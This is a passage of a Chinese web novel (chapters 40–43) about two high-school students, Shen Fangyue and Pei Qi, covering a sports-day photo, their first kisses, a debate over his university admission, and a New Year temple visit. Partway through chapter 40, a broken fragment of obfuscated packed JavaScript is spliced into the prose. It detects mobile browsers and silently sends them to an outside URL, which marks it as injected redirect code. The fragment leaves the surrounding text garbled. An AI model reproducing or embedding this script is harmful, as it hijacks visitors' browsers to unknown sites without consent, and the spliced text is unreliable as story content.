“哇，你们这群心机男，为了抢镜什么都做得出来！”沈方月探出脑袋看他们，一脸不齿。 宋哲得意：“你就说酷不酷吧。” 沈方月：“我不会输给你们的。” 裴祈眼皮一跳，扭头刚要走，衣袖就被人抓住了。 班里最大显眼包：“裴祈，扛我起来。” “？”裴祈拒绝得很果断，“不要。” “这是高中最后一次运动会了！高三就没有了！”沈方月用身子撞他，“别这么小气，就扛一下，就一下下，拍完照我就下来。” “不要。” “放学我请你吃小馄饨！” “你就是自己想吃。”裴祈拆穿她，“不要。” “……” 古涵在前面举着手机：“都好了吧？准备拍了。” “小气鬼！”沈方月扭头，张望了一下，决定找个好说话的男生，“罗闻，你能不能——” 手腕被抓住，她回头，对上裴祈一张冷淡的脸。 虽然没说话，但认识了这么久，沈方月已经能从裴祈的一点点小表情里看出他的想法，比如他此刻微撇的嘴角，意思就是——烦死了，沈方月，可以。 沈方月于是金贵地停下脚步，一想到自己待会儿要骑在裴祈肩上要摆出的姿势，已经有点忍不住笑。 裴祈说：“抱稳，沈方月。” 古涵在前方开始倒计时：“三——” “嗯嗯嗯嗯，快点快点。”沈方月胡乱飞快地点头，又觉得不对。抱稳？她要抱哪儿？裴祈的脑袋吗？坐这么高也抱不住啊。 后背贴上温热的胳膊，沈方月还没反应过来，脚上忽然一空，她被横抱而起。 “？” 突如其来的悬空让沈方月不知所措，下意识地去捞什么东西，等她回神，她已经搂住了裴祈的脖子。 古涵：“二。” 听见旁边的动静，充当花瓣的宋哲伸直脑袋，想看清他们的情况。就这一下，重心不稳，他“卧槽”一声垮倒，连带着跟他牵着手的兄弟也遭殃，几人直冲冲地撞到了旁边的裴祈身上。 裴祈下意识将怀里的人搂得更紧，躲了一下，但没完全躲开，不沈方月显然吓到了，在被撞到的那一刻便朝他贴上来，紧紧缠着他的脖子。 为了好看，沈方月在拍照前脱了校服外套，身上只有一件单薄夏衣。 他们在混乱中紧贴。 微凉，柔软，山茶花香。 裴祈甚至感觉到了校服里面那件单薄布料的纹路。 “……” 古涵：“一。” 古涵按下快门，拍下了这兵荒马乱的一幕。 && 后来宋哲和钟震求了古涵半天，古涵都没答应再重新拍一张。她看了一眼，觉得拍得挺好的，虽然混乱，每个人的脸都看得很清楚，表情也很丰富，很热闹的一张照片，完美。 大多人都围着古涵看照片，草皮上，裴祈和沈方月相对而坐。 宋哲刚才撞上来的时候蹭了一下沈方月的腿，她此刻撩起校服裤腿，正在给裴祈检查。 虽然没什么事，但裴祈看了两眼，还是怼上了一张创可贴。 “我不贴，又没破。”沈方月说，“你的创可贴没有图案，好丑。” “别找事，沈方月。” “……噢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777948|157725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈方月盯着创可贴，耳朵边还在咚咚咚敲个不停，脸颊烫得像火烧。真奇怪，明明今天这么凉快。 两人安静了一会儿，沈方月道：“其实我刚刚是想骑在你肩上。” “……”裴祈顿了一下，好似也才反应过来，几秒后问，“怎么不干脆骑在我头上？” “可以吗？” “闭嘴。” “……” 几句过后，萦绕在他们之间那种奇怪、说不明白的氛围终于消散了一些。 远处，宋哲和钟震嗓门很大，还在央求古涵重拍。沈方月想拉上裴祈一起去求，一抬眼又怔住。 裴祈脸偏向一边，像是也被那头的动静吸引。 与沈方月的小圆脸不同，裴祈脸上没多少肉，侧过脸时能更直观地让人感受到他锋利挺拔的骨相，经过刚才那一小阵动乱，他前额的碎发有点乱，校服衣领掀起一半，衣领外的脖颈微微发红，一路蔓延到耳廓。 裴祈是很难上脸的，平时总是一副游刃有余、慢慢悠悠的模样，就算刚拼命跑完400米，也只是出些汗，喘气急一些，脸上一点变化都不会有。 沈方月的视线太明显，裴祈回过头来。 这是拍完照后，他们第一次对上视线。 裴祈依旧是平日那副懒淡的表情，他长得高，望向沈方月时总是垂着眼皮：“看什么，沈方月。” “你的脸怎么这么红？”沈方月盯着他，“像猴子的屁股，要不以后改名叫猴子吧。” 裴祈视线从她脸上扫过：“那你呢。” 比起裴祈，沈方月的脸颊红得更明显，她本来就白，红起脸来像个不太聪明的水蜜桃。 沈方月用手背贴了贴自己的脸颊，真的滚烫。她刚才还以为是她的错觉，她想了想：“我们美女是这样的，皮肤天生白里透红。” 裴祈哦了一声：“你太重。刚才差点没抱住，憋的。” “？” 顾湘去找沈方月的时候，裴祈刚被物理老师叫走，沈方月朝他的背影破防大骂：“我才一百斤！！！是你废物！！！你这个没用的男人！！！！” 顾湘：“……” 围在古涵周围的人散去，看起来是解散了。 沈方月从草地上起来，拍了拍屁股上的杂草，走到顾湘身边：“走吧小湘湘，我们也回去。” “好。”顾湘看了一眼她撩起的裤腿，“刚才有受伤吗？” 沈方月摇头：“没有，裴祈抱我抱得很紧——” 沈方月一顿，冷不防地又想起那几秒钟。 裴祈穿校服时总显得清瘦，但其实并不单薄。少年浑身都很硬，体温也比她要高，被撞到时沈方月虽然吓了一跳，却完全不担心自己会摔。 因为抱着她的那双手一直都很坚定，很有力。 已经快到放学时间，冷风一阵又一阵，她重新套上裴祈的校服外套，习惯性地一口气把拉链拉到下巴，一阵淡淡的柑橘香气萦绕过来。 刚才裴祈抱着她的时候，身上也是这个味道。 沈方月：“……” 耳朵又开始变热，心脏依旧扑通扑通地静不下来。沈方月把下巴埋进校服外套里，被风晃得眨了好几下眼睛，觉得自己应该是要感冒了。 40-50 第41章 第 41 章 他想亲的又不是漱口水。…… 电影放映完正好是放学时间。 沈方月脖颈到脸颊还是热烘烘的, 她犹豫了一下，把围巾叠好塞到了书包里。 然后一出教室就被冷风吹得哆嗦了下。 裴祈走在前面，在跟拿着试卷来问他题的同学说话, 沈方月拽了一下他的校服衣角, 想让他等自己拿一下围巾。少年回头扫她一眼, 讲题的声音没停，手臂一抬, 他手里一直握着的围巾就到了她脖子上。 是生日时沈方月爸妈送给他的那一条，裴祈用了一段时间，上面有一股浅淡干爽的味道。 收拾完，班里七、八个人同时下楼，楼梯上热热闹闹, 都在讨论刚才的电影剧情, 直到他们撞上刚和女朋友约会回来的顾飞白。 见到他，男生们同时起哄地怪叫起来，顾飞白笑得害羞张扬，快步逃上楼梯消失在他们视野里。 顾飞白的出现让大家又想起电影前的劲爆话题，火力莫名其妙地回到了裴祈身上，又开始逼问他到底和谁亲嘴了, 几人叽叽喳喳个不停, 钱菲走在他们前面，嫌吵地捂着耳朵，小声嘟囔：“你们男生真的好八卦……” 当事人嘴巴撬不开, 大家转移目标：“宋哲钟震, 你俩和他这么熟，再仔细想想，他最近和哪个女生走得近？” “真没有啊。”宋哲抓耳挠腮, “月姐还天天和他在一起呢，不也什么都不知道？” “那什么，”沈方月说，“其实我刚才想起来了。” 宋哲：“你看——啊？” 钟震着急：“是谁！快说！哪个年级哪个班的！” 大家脑袋“唰”地往后转，她身边的裴祈也是，偏过脸挑眉，安安静静饶有兴致地看她。 “好像是我们年级的，具体我不知道，就是听他提过——” 沈方月半张脸闷在裴祈的围巾里，刚才在教室里的滚烫还没消，露出的半张脸颊粉扑扑的，还好是冬天，看起来也不会太突兀，大家权当她是冻的。 沈方月：“他说对方是个才貌双全活泼可爱心地善良聪明伶俐的超级大美女。” “……” 大家伙包括当事人都沉默了一下。 “我说了吗？”裴祈说。 “你没说吗？”沈方月盯着他。 “说了。”裴祈退让一步，又保有底线，“但聪明伶俐应该是你记错了。” “……” 沈方月手指搭着肩带，等前面的人全都扭回脑袋开启新一轮话题之后，恶狠狠地去踩他的鞋。 && 晚上，沈方月洗澡出来，无声尖叫地在床上打了好几个滚，忍不住又去回忆今天下午那场电影。 天哪，裴祈喜欢她。 裴祈跟她告白了。 他们亲嘴了。 她和裴祈在谈、恋、爱。 脑子里一个字一个字地蹦出来，让沈方月控制不住地兴奋。沈方月从小就是个藏不住高兴的人，小时候得了一张三好学生奖状都要叶婉贴到他们家大门口去，现在她真的好想告诉全世界——裴祈喜欢我，嘿嘿其实我早就猜到了，我这么可爱漂亮他会喜欢我是理所当然——但是不行。因为严格意义上来说，他们这算早恋。 学校前阵子刚巡逻小花园抓了几对小情侣，还给了处分。 但让沈方月一个人憋着也太难了。 于是在滚到第七圈的时候，沈方月忍不住掏出手机。 [小月亮：小湘湘，我偷偷告诉你一件事，你一定一定不要说出去！] [顾湘：嗯] [小月亮：我谈恋爱啦！！！！！！] [小月亮：（打滚）（打滚）（尖叫）] 顾湘一如既往的冷静：[和裴祈吗？] 沈方月震惊：[你怎么知道……] [顾湘：说实话，除了他，想不到你会和谁谈恋爱。] [顾湘：不过你们现在恋爱合适吗？会分心吧？我们再过半学期可就要高考了。] 沈方月认真地想了想：[裴祈很难分心的。] [顾湘：我是说你。] [顾湘：谁担心裴祈啊？他物理竞赛拿了一等，前段时间还去参加了国集，肯定保送了，估计名单都要出来了吧。] [小月亮：……] [小月亮：我也很难分心的！] 顾湘坐在台灯下，无语地想，算了，她能骗过自己也行。 [顾湘：反正你自己要注意，别分心，也别被老师发现。] 沈方月刚要打字，屏幕顶端又跳出一条新消息。 [裴乌龟：过来。] 沈方月飞快地回复顾湘：[绝对不会！我是那种不分轻重的人吗？你放心啦（亲亲）] 然后她一个鲤鱼打挺坐起身，几步跑出房间，又想到什么似的折回来。 她进了厕所，在众多口味的漱口水里挑挑拣拣……最后用了个水蜜桃味的。 我只是单纯的爱干净，绝对没有其他心思！沈方月朝掌心吐了一口气，闻着上面淡淡的香气，非常正直地想。 沈方月人还没跑下楼，声音先传到客厅：“爸！妈！我去裴祈家啦！” 沈舟山正在客厅躺着修稿子，闻声抬头：“刚看古老师在班群里发消息，说你们下周就要期末考啦？有信心吗小月——” 家门嘭地一声关上，沈方月人已经出去了。 “……亮。”沈舟山纳闷，“她怎么过去写作业也这么兴奋？” 叶婉猜测：“可能是和小祈约好了写完作业打游戏吧。” && 裴祈刚洗完澡，房间里布满一阵淡淡的水汽。少年发尾潮湿，身上散发着清爽的沐浴露香。 房间里都是笔尖扫在卷子上的沙沙声，直到沈方月停笔，裴祈跟着停下，问她：“写完了？” “嗯。” “有没有不会的。” “没有。”经过两个学期的努力，沈方月总算赶上了进度，面对数学物理没有那么束手无策了，大部分日常作业都能独立完成，就是不一定全对。 裴祈：“拿来我看。” 最后数学卷子还是有几道大题错了，裴祈重新给她演算了一遍，讲完最后一道大题，他眼尾扫过去：“会了吗？” 为了听他讲题，沈方月身子半倾地靠过去，脑袋也不自觉地往前伸了一些，闻言点头，去找他眼睛：“嗯……” 之前没发觉，现在眼神对上，才发现他们挨得好近。 呼吸慢慢悠悠地纠缠在一起，裴祈眸光下落，短暂地停留了几秒。 “困了么？”他问。 要、要来了吗。 沈方月蜷了一下手指，脑子里不着调地乱想。前两次她喝醉了，完全没有记忆，下午裴祈靠过来的时候她脑袋一片空白，囫囵地就结束了，这次她一定要认真感受。 过去两个多小时了，她嘴里的漱口水味道还在吗？ 心跳砰砰砰个不停，沈方月瞪圆眼，努力装出一副非常镇定的模样：“没有！没困！非常精神！” 裴祈嗯一声：“那再做一张物理卷。” “好——啊？” 沈方月愣怔间，裴祈已经熟练地掏出一张空白卷子，摊开放到她面前，用笔敲了两下：“写吧，不会就问。” “……” 也是。 回去后，沈方月想了想，他们今天下午才刚亲过，晚上又亲，那是不是也太不克制啦？就算是谈恋爱，也不能亲这么勤啊。 第二晚，两人做完作业已经是深夜十一点半，没亲。 正常，沈方月说服自己，今天作业这么多，累都累死了，哪还有空亲嘴呀。 第三晚，作业都在自习课上写完了，于是裴祈盯着她刷了两张物理卷子，给她纠错讲题到近十二点。 没亲。 第四晚…… 直到期末考试结束，沈方月脑袋上那根看不见的、熊熊燃烧了一个多星期的蜡烛咻地一声，灭了。 沈方月这次期末考试成绩又稳步提高，总分587，是她考得最好的一次。 古涵把成绩单独发给了各位家长，沈方月领完成绩到家时，沈舟山已经做了一桌子好菜庆祝，并让她去把裴祈叫过来一起吃。 “不要。”沈方月拒绝。 “为什么？” “我现在不想和他一起吃饭。” 手机振了一下，说曹操曹操到。 [裴乌龟：带作业过来。] [小月亮：不要] [裴乌龟：？] [小月亮：我今天不想写作业啊] [小月亮：寒假还这么长，过几天再说吧] [裴乌龟：……] [裴乌龟：我想写] 沈方月刚想说你想写你就自己写啊，我过去有什么用，我又不会帮你写—— [裴乌龟：想和你一起写。] [裴乌龟：行吗] 沈方月洗完澡下楼，整个人恹恹地，拖着音调说：“爸，妈，我去裴祈家写作业了……” 沈舟山看着她有气无力地离开家门，又纳闷：“前几天不还高高兴兴的吗？怎么突然就蔫了。” 叶婉想了半天，也想不出个所以然：“算了，可能高三生就是这么情绪多变吧。” …… 沈方月耳朵上夹着笔，盯着面前的练习册发呆。 她突然觉得上周在顾湘面前表决心说不会因为谈恋爱而分心的自己像个傻子。 她和裴祈这一周几乎没有亲密接触，最近每趟公交车都挤满了同校学生，他们连手都没怎么牵，也没有再提过那天下午的事。 裴祈态度一如既往，好像只有她一个人在亢奋，在燃烧，在胡思乱想。 分什么心？她和裴祈似乎根本就没有谈恋爱。 现在想想，虽然裴祈跟她告白了，她也回应了一点点点点点，但他们好像并没有正式地说要在一起…… 所以他们到底有没有在谈恋爱？！ 沈方月深吸一口气，又想质问身边的人你到底什么意思了。 但问了又好像是她在期待一样。 到底是谁告的白啊！！！ “困了？”见她一直没动，裴祈忽然出声。 “嗯。”沈方月顺势合上练习册，闷闷地说，“我回去了。” “晚点再回。” 沈方月无情地拒绝：“不要，我好困。” “那你忍一忍吧。” “？” 沈方月刚想问怎么有这么可恶的人，还逼着别人写寒假作业？一扭头，看见裴祈胳膊还保持着写字的姿势，脸半偏着朝她靠近。 少年半垂着眼皮，眸光垂落在她漂亮的鼻尖以下，克制按捺地眨了一下眼，讲话时喉结微微滚动：“能亲你吗，沈方月。” 没等到沈方月回答，裴祈已经低下脸来，很轻地吮了一下她的嘴唇，然后离开。 “……” 又这么快。沈方月大脑滚烫地想，裴祈怎么总是零帧起手？她又没来得及好好感受。 但这次裴祈没有离得太远，或者说，他只是暂停了一下。他们依旧保持着接吻的姿势，嘴唇之间只差毫厘。 裴祈面无表情地吞咽了两下，又哑声问：“能伸舌头吗，沈方月。” 沈方月脑子轰地一下炸开！ 她告诉自己要冷静，实际上手指都在颤抖，没头没脑地回答：“我今天没用漱口水……” 裴祈低头重新吻住她，温吞滚烫地撬开她的唇缝，用行动回答无所谓，他想亲的又不是漱口水。 第42章 第 42 章 在裴祈还不知道喜欢是什…… 寒冬腊月, 山城这两天断断续续下了点小雪，堆积在外窗缝隙里，风一吹, 簌簌掉下几片。 窗外偶尔路过的行人被冻得缩肩, 加快脚步, 在地面上留下一道道模糊脚印。 窗内热气朝天。 裴祈家的暖气常年维持在20度左右，他不喜欢开太高, 环境暖和人就容易犯困，难以集中精力。有一回沈方月觉得冷，硬是逼着他调到27度。 当晚她伏在书桌上睡了一整觉。 裴祈无语地帮她写那晚的作业，等她醒来，不容分说地把温度又调回了20。 但现在, 沈方月恍恍惚惚地和他接吻, 分神想，裴祈今晚是不是善心大发，又把温度调高了？不然这房间此刻怎么会热意扑天，连手心都要出汗。 她才分神不过一秒，又卷入朦胧青涩的旋涡。 一开始亲得很慢，两个人都没有经验, 只知道生涩地碰触、相贴。沈方月不喜欢薄荷牙膏, 嫌辣，从来不用，没想到有朝一日居然又从裴祈的嘴里尝到。但裴祈嘴里的薄荷味道不冲, 冷淡清凉, 像他这个人。 “小月亮！喝不喝姜汤甜薯奶呀？顺便问一下裴祈——” 一道熟悉的吼声透过窗帘传进来，两人都吓了一跳，匆忙慌乱地分开。 没得到回复, 站在隔壁院子里的沈舟山又喊：“小月——” “不喝！爸！你不能给我发消息吗？吵到我——”沈方月隔着拉紧的窗户窗帘大声回答，说到最后，心虚地压低几分音量，“……学习了。” 沈舟山莫名：“发了，你没回我呀。” “行吧，那你们好好学。不过刚期末考完就学习吗？真是太努力了我的小月亮……”沈舟山感动的碎碎念一点一点变弱，直至消失。 房间里，两人沉默地对视，都没什么表情，眼里是青涩又跃跃欲试的暧昧。 心跳快到要爆炸了，不知道是因为接吻，还是因为她爸。 嘴里乱七八糟地一片发麻，沈方月下意识做了一个吞咽的动作，被浅浅的甜味刺激得手指一缩，忍不住控诉：“你牙膏怎么没洗干净，有……味道。” 啊啊啊！ 沈方月你在说什么！！！你们在接吻！你怎么可以这个时候找茬啊啊啊啊！！！ 沈方月内心尖叫，轻咳一声，刚想说但是没关系我可以原谅你—— “不是牙膏。”裴祈说。 “啊？” “刚刚吃了片口香糖。” 他浑身清爽，看起来已经洗漱过。 洗漱完之后又……吃了一片口香糖吗？ 可能因为有了同盟，沈方月突然觉得上一周每晚都偷偷用两颗漱口水的自己没那么傻了。 “是你喜欢的味道，有尝出来吗。”裴祈脸色冷冷淡淡，像在问她这题能做出来吗？但看她的眼神滚烫，嘴唇和耳朵红了一片。 沈方月被他一句话问得头脑发晕，一张口更晕了：“那你给我一片。” 天啊，这个时候当伸手党，我是什么馋鬼转世吗？ 沈方月好想把自己打晕。 “没了。但我嘴里的味道还能分你一点。”裴祈转了一下笔，嗓音沙哑地询问，“要吗？” “……也，行吧。” 疯了。 裴祈劲瘦的手臂懒洋洋地搭在她肩后，宽大的掌心带点寸劲儿摸在她头发上，按着她接吻。他们缓慢又干涩地纠缠舔舐，沈方月微微仰着下巴，脸红心跳地让他分享味道，亲到最后呼吸急促，又变成一下又一下亲密而青涩的啄吻。 平时裴祈的嘴单薄又刻薄，沈方月不知道多少次想把它缝起来。现在庆幸还好没缝，因为亲起来…… 真的很舒服。 沈方月纤细的手指在书桌上无措地握成拳，被刺激到指甲都嵌进手掌里。 外面传来一声猫叫，裴祈才把人放开。 沈方月很明显地被他亲懵了，她额头上的胎毛此刻乱糟糟一团，脸颊比高二运动会那天打的腮红还要粉，眼睛和嘴唇湿淋淋泛光。 裴祈喉咙发紧，心跳重重地撞击着胸口，也没好到哪去。本来没打算亲成这样，但贴上去后就不太能收得了手。 沈方月真的很好亲。 沈方月直直地盯着他，不知道是不是亲疼了……或者不舒服。 正想问，她忽然开口了：“裴祈，你老实告诉我，你是不是背着我偷偷看偶像剧了？” “……” “没有。”裴祈说。 “那你怎么——”她声音小小地，狐疑地看他，“能亲成这样啊……” 裴祈用手背给她擦了擦嘴唇：“可能因为忍一星期了吧。” “……” 双脚再次踩实地面。沈方月的心脏安安稳稳地归位，慢吞吞地想，噢，原来不是只有她一个人在期待。 裴祈嘴角边也有一点，他很自然地舔了一下，沈方月看着，又有点脸红心跳。 于是她大逆不道地说：“那你可以不忍啊。” 裴祈斜她一眼，眼里还是热的，嗓音已经凉了：“亲了你还有心思学？” “我怎么没有？”沈方月大怒，“你瞧不起谁呢？” 裴祈嗤笑一声，拉来卷子，随便指了道题：“那你写我看看。” 是可忍孰不可忍！沈方月一把抓过卷子，提笔就是干。 三分钟后。 裴祈：“写啊。” “……你别吵，你好烦。”沈方月低着脑袋，“我在想公式呢。” 又过了三分钟。裴祈手搭在她的头发上，慢悠悠地揉了两把，说：“算了。” “……” 火上浇油，沈方月决定今天就是通宵也要把这题解出来—— “其实这是竞赛卷子。” “？” “刚考完，歇一晚。”裴祈挨着打，没忍住笑，“陪你打会儿游戏？” 十分钟后，沈方月已经坐到了客厅电视前。之前买的游戏卡带还有好几个没拆封，她随便挑了一个，握着手柄很认真地过着前面的游戏指南。 裴祈把洗干净的草莓往她面前的桌子一放，懒洋洋地靠在她身边坐下。 这些游戏都大差不差，裴祈不需要看前置任务，他与她抵肩坐着，漫不经心地等。 屏幕上名叫“裴乌龟”的游戏人物忽然顿了一下，紧跟着，旁边的人轻轻开口，像是忍了很久，终于有机会问，声音里带着隐秘的兴奋与期待。 “裴祈，你是从什么时候开始喜欢我的啊？” 裴祈微微一顿。 这个问题，他在洗完床单的那一天就独自思考过。 他什么时候喜欢上沈方月的？这真的很难界定，因为喜欢上沈方月是一件很简单的事。 她蹲在公园里，对水兵月说自己永远不会背叛他的时候，他想，要说到做到，沈方月。 初中他逃课去网吧，发现偷偷跟在自己身后手足无措的沈方月，他想，那对夫妻想离就离吧，反正他还有沈方月。 和江瑶雪从香港回来，收到沈方月补给他的，只有一个掌心大的生日蛋糕，他想，能不能一辈子的生日都和她过？ …… 记忆里最早发现沈方月在他心目中的特殊，是7岁，他们和一群小朋友玩过家家。 他抽中了全天下小朋友都想扮演的一家之主角色，“爸爸”，别人问他，裴祈，你想让谁当妈妈？ 裴祈那时没有一刻犹豫，把用来充当家门钥匙的石头放到了沈方月的手心里。 那时的沈方月已经开始爱干净爱漂亮了。她抓着石头皱眉，一脸为难，说裴祈，你家钥匙好脏呀，你找别人当你老婆好不好？ 裴祈说，那我不当爸爸了。 最后，他和沈方月一个当了看门的小狗，一个当了种在院子里的树，因为小狗就拴在树边。那天下午，他俩一直傻站在一起。 在裴祈还不知道喜欢是什么的时候，他就已经开始喜欢沈方月了。 膝盖被戳了一下，沈方月不是很有耐心地催他：“说呀。” 裴祈回忆那年，挑了一个有记忆点的事情来说：“7岁，你两颗门牙一起换掉，我一直喊你无牙超人的那段时间——” 砰！ 沈方月手握游戏手柄，用尽全力地撞了他一下，满脸涨红地命令他：“你有病吧！这么早的事到现在还记得！我那时这么丑——忘掉！马上给我忘掉！！！” 第43章 第 43 章 沈方月愿望成真。 高三下学期前的寒假约等于无, 满打满算不过10天。 沈方月本以为休息一晚上无伤大雅，但后来掏出作业列表一看，发现均摊下来哪怕是大年初一她都得做两张卷子才能写得完。 “这是你的责任。”沈方月很严肃地下达通告, “罚你给我抄两张卷子。” 裴祈指尖转着笔, 闻言眼尾撇过去：“我的责任？” “是的, 要不是你突然亲我，我那晚就把这两张卷子写完了。” “我记得我征求过你的意见。” “第一次征求的时候, 我还没答应呢，你就亲下来了。” “……” 裴祈撇开脸气笑，又转回来，点头：“行，算我的问题, 但给你抄不可能……这样吧。” “以后你也有一次不征询我同意就亲我的权利。”他懒洋洋道。 “……” 沈方月那句“你真的很斤斤计较”还没说出口, 裴祈桌上的手机响了。 两人不约而同地下意识看去，来电显示是“裴永恩”。 裴祈抬手调成静音，没接，整通操作都很熟稔，看起来已经做过不少次。自动挂断没多久，对方就发了微信过来, 是一条59秒的语音条。裴祈动动手指, 点了转文字。 为了讲题，他们坐得很近。沈方月都不用刻意偷看，眼睛随意一扫就看清了他屏幕上跳出来的文字。 【接电话。老师说你要拒绝保送是什么意思？裴祈你什么情况？你是不是学习把脑子学坏了——】 后面的字还没跳出来, 裴祈先划掉了对话框。 他恍若无事发生把手机放回去：“今天先做物理。” “……” 旁边久久没动静, 裴祈转头看去，对上沈方月直直的眼睛，心里忍不住叹了声气。 沉默良久, 沈方月攥着笔开口：“你要拒绝保送？为什么？” “喜欢考试，想参加高考。”裴祈一脸冷淡地胡说八道。 “是因为我。”沈方月已读乱回。 沈方月说出口连自己都觉得荒谬。这是人生大事，所有人拼搏十几年就是为了上一所好大学，怎么可能会有人因为另一个人而放弃最高学府的保送名额？尤其在这个年代，大家好像都清醒又自爱。 果然，裴祈笑了一下：“怎么这么自恋？沈方月。” 语气一如既往地嘲讽。 但是他没有否认。 沈方月笨了这么多年，这会儿好像突然开窍。她发现裴祈其实特别好懂——又或者她其实一直能感觉到，但每次都被对方的刻薄和嘴硬迷惑。 沈方月二话没说拿起自己的手机，找出古涵的对话框打字：老师裴祈要申请保送的…… 字没打完手机就被抽走，沈方月去抢，被裴祈躲开。两人在争执间紧贴，沈方月又觉得热，不过这次是因为急的。 “裴祈！”她闭眼尖叫，“抢劫啦！！！” “坐好，我帮你报警。”裴祈举高手，慢条斯理地说。 “还我——你怎么可以拒绝保送！你是恋爱脑吗？！” 裴祈没有回答。两人纠缠许久，最后以沈方月累了告终。 她坐在椅子上喘气，决定和他讲道理：“裴祈，你不能这样，就算我们以后不能在一个大学，也可以在同一座城市——” “你能上燕京哪所大学？”裴祈打断她，非常刻薄地问。 “你看不起谁呢。”沈方月大惊，报了几所燕京比较平庸的大学，大言不惭，“这几家我闭眼都能上！” “你的分数在其他地方能读更好的，为什么要去燕京这几所大学？”裴祈好笑地看她，“你也是恋爱脑吗？” “……” 是的，沈方月这几次的模拟分数有点尴尬。能勉强摸上其他地方几所不错的211，甚至一些偏远地区的985，但和燕京那几所高校又还有一段距离。 “那就异地恋嘛。”她脱口道，“我们每个月也能见一面……” 越说到后面沈方月的声音就越小，因为她连自己都没办法说服。 和裴祈一个月只见一次面吗？那也太少了，自认识以来，她唯一一次和裴祈分开这么久还是初二那趟澳洲之旅，开始前几天她还能开开心心地玩，后面她全程就在问叶婉，我们多久回去呀？能不能提前两天，澳洲根本不好玩，还没有裴祈家里好玩。 然后又去求沈舟山，说我下次一定好好考，你借手机给我吧，我想给裴祈打电话。 那时的沈方月还不懂什么喜欢不喜欢，只知道她想和裴祈在一起玩。 沈方月无忧无虑自由随性地活了18年，头一次认真地开始思考“未来”这件事。 她犹豫了一下，想改口，说要不一个月见两三次吧？会不会太折腾啦？但我们努努力的话也可以吧—— “不要。” 裴祈先开口，他转了一下笔，直白又冷冷淡淡地，“我要和你在一起。” “……” 沈方月怔住，被他一句话撞得头昏眼花。 “走个路都能摔，谁放心你自己去陌生城市？” 沈方月刚想反驳，说她已经是成年人了，别把她说得像个小孩儿，裴祈又道：“你又这么爱玩，异地我陪不了你。” “我可以找其他同学——” “嗯，然后我会开始担心你变心。”裴祈慢悠悠地说。 沈方月噘嘴：“我在跟你谈很严肃的事，你不要开玩笑。” 裴祈笑，开玩笑么？真不是，真有想过。她又不是没说过喜欢别人。裴祈在这方面真没什么自信，毕竟他除了成绩和脸稍微能拿得出手以外，好像没什么优点了。没准等沈方月离开高中，接触到了更多的人，会想，裴祈其实也就那样。 裴祈因为自己有这些念头而觉得荒谬，又克制不住地去想，然后潜意识地去规避。 他嗓音轻描淡写，好像这样就能让沈方月稍稍放松下来：“而且，没那么夸张，沈方月。我看过了，你的分数能冲云沪财大，到时我报云大，那里的物理系也是国内顶尖，没差。” “不行。” “……” 沈方月背脊坐直，好似已经回过神来了。 她直勾勾地看着裴祈，忽然说：“裴祈，我希望我男朋友能拥有全世界所有最好的。” “……” “他现在已经拥有全世界最好的女朋友了。” “……” “他也要上全世界最好的大学。” 沈方月说话很轻，语调缓慢又坚定。 裴祈沉默地看着她，慢吞吞、一点点地把胸腔的满溢按回去，张嘴，声音没来由地有点哑：“燕大暂时还算不上是全世界最好吧。” “噢，好嘛，那就是国内最好的……你真的很扫兴！” “全世界最好的女朋友——” 沈方月警告地乜他。 裴祈：“我确实有。” 沈方月仰起下巴，骄矜地哼了一声，总结：“所以，你自己给老师发消息，说你要申请保送。” “说了，我要和你在一起。” “我知道，我没说不在一起。还有，你刚才说的那句话是什么意思？什么叫‘我能上燕京哪所大学’？告诉你，别看不起我，”沈方月脸红，天啦，裴祈说这些话怎么可以这么顺口？她轻咳一声，抬头挺胸一字一顿地宣布—— “我、要、考、燕、科、大！！！” 两个小时后，沈方月在自家客厅再一次喊出这句话。 沈家夫妇二人都愣了下。 叶婉怀疑自己在做梦，掐了自己一把，天天在她面前哀嚎“我太恨学习了妈妈你一定要好好工作一定要养我一辈子呀”的破棉袄子怎么突然转性了。 沈舟山则飞快拿起手机查了一下，然后说：“小月亮虽然咱期末分数离燕科大差了快40分，但有梦想是好事，爸爸一定支持！咱们到时候就把它放在第五志愿！” 沈方月不受打击，大喊一句“莫欺少年穷”，便噔噔噔地跑上楼了。 && 夫妇俩都以为沈方月只是一时兴起，没准是刷到燕科大附近哪家好吃的餐馆，馋了。 但没过几天，他们发现沈方月没有在开玩笑，是真的开始奋发图强了。她两眼一睁就是刷卷子，吃完晚饭就抱着自己的错题本去找裴祈，甚至在刷牙洗脸的碎片时间，手机都播放着英语听力。 叶婉倒是乐见其成，但沈舟山看着心疼，好几次忍不住叫她放松一点，要劳逸结合，邀请她去游泳爬山，都被沈方月无情地拒绝了。 大年三十这晚，沈方月在电话视频里给爷爷奶奶拜完年，又抱着错题本要出门，被沈舟山叫住。 沈方月看了眼时间，抢在他前头说：“爸，我不打乒乓球。” “那好吧——哎，不是，没叫你打球。”沈舟山气笑，“是你妈，她又约到了今年向阳寺的头香，这不是今年就要高考了么？她让你和裴祈一起去，也拜一拜。” 大年三十晚的向阳寺烛火不断，人头攒动，满地爆竹红屑。 头香的时间还没到，还要等。沈方月在冷风中裹成圆球，整个人靠在裴祈的手臂上，因为太困闭着眼假寐。 叶婉帮她把围巾往上扯一点：“站直了，佛祖看见生气了。” “不会，佛祖只会心疼我。”沈方月喃喃回答。 叶婉听笑，看向沈方月挨着的人：“小祈，保送的事儿都谈好了吗？” 裴祈点头，刚要回答，有人抢在他前面。 “谈好啦！”沈方月笑道，“他交完资料了！” 裴祈原本还想挣扎，说他放弃保送，正常高考也能考上。被沈方月驳回，威胁着他交上去了。 威胁手段数不胜数，包括但不限于“你就是不相信我能考上”、“你对你的女朋友没有一点信心”和“不交我就和你分手”。 裴祈没有被威胁到，最后是沈方月哭了。眼眶红红的，说裴祈你能不能别这样？ 裴祈当着她的面给老师发了消息，她又眼眶红红地笑，说，裴祈，我一定能考上的。 “问你了吗？”叶婉看着仍闭着眼的沈方月，好笑道，“答得这么响亮，不知道的还以为是你保送了呢。” 熬过12点，终于开始上香。 沈方月手持燃香，虔诚地拜三拜。 